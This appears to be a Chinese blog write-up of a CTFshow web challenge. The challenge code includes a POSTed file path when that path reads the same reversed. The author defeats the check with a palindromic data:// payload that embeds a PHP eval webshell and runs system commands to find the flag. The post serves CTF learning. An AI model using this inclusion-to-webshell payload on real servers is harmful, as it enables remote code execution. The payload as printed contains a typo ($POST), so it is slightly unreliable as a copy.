CTFshow单身杯-web签到

发布于 2022-06-29  1026 次阅读


题目代码如下:

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }

}

代码分析:
isset:
如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。

strrev:
反转字符串

整段代码的意思是:
以post的形式传入一个file参数,如果传入的file参数存在且不为 NULL,并且反转整个file参数的字符串,如果反转之后的字符串和原先的一致,那么就包含这个file参数。

直接使用data协议

data协议使用方法:

http://127.0.0.1/code/1.php?file=data://text/plain,<?php phpinfo()?>

这里我们可以吧上面的示例代码中的phpinfo改成一句话木马
构造如下:

file=data://text/plain,<?php eval($POST[cmd]);?>>?;)]dmc[TSOP$(lave php?<,nialp/txet//:atad&cmd=system("ls");

post过去发现成功执行命令

接下来就是找flag文件

在根目录下发现一个f1agaaa的文件

查看文件

成功获取到flag

届ける言葉を今は育ててる
最后更新于 2022-06-29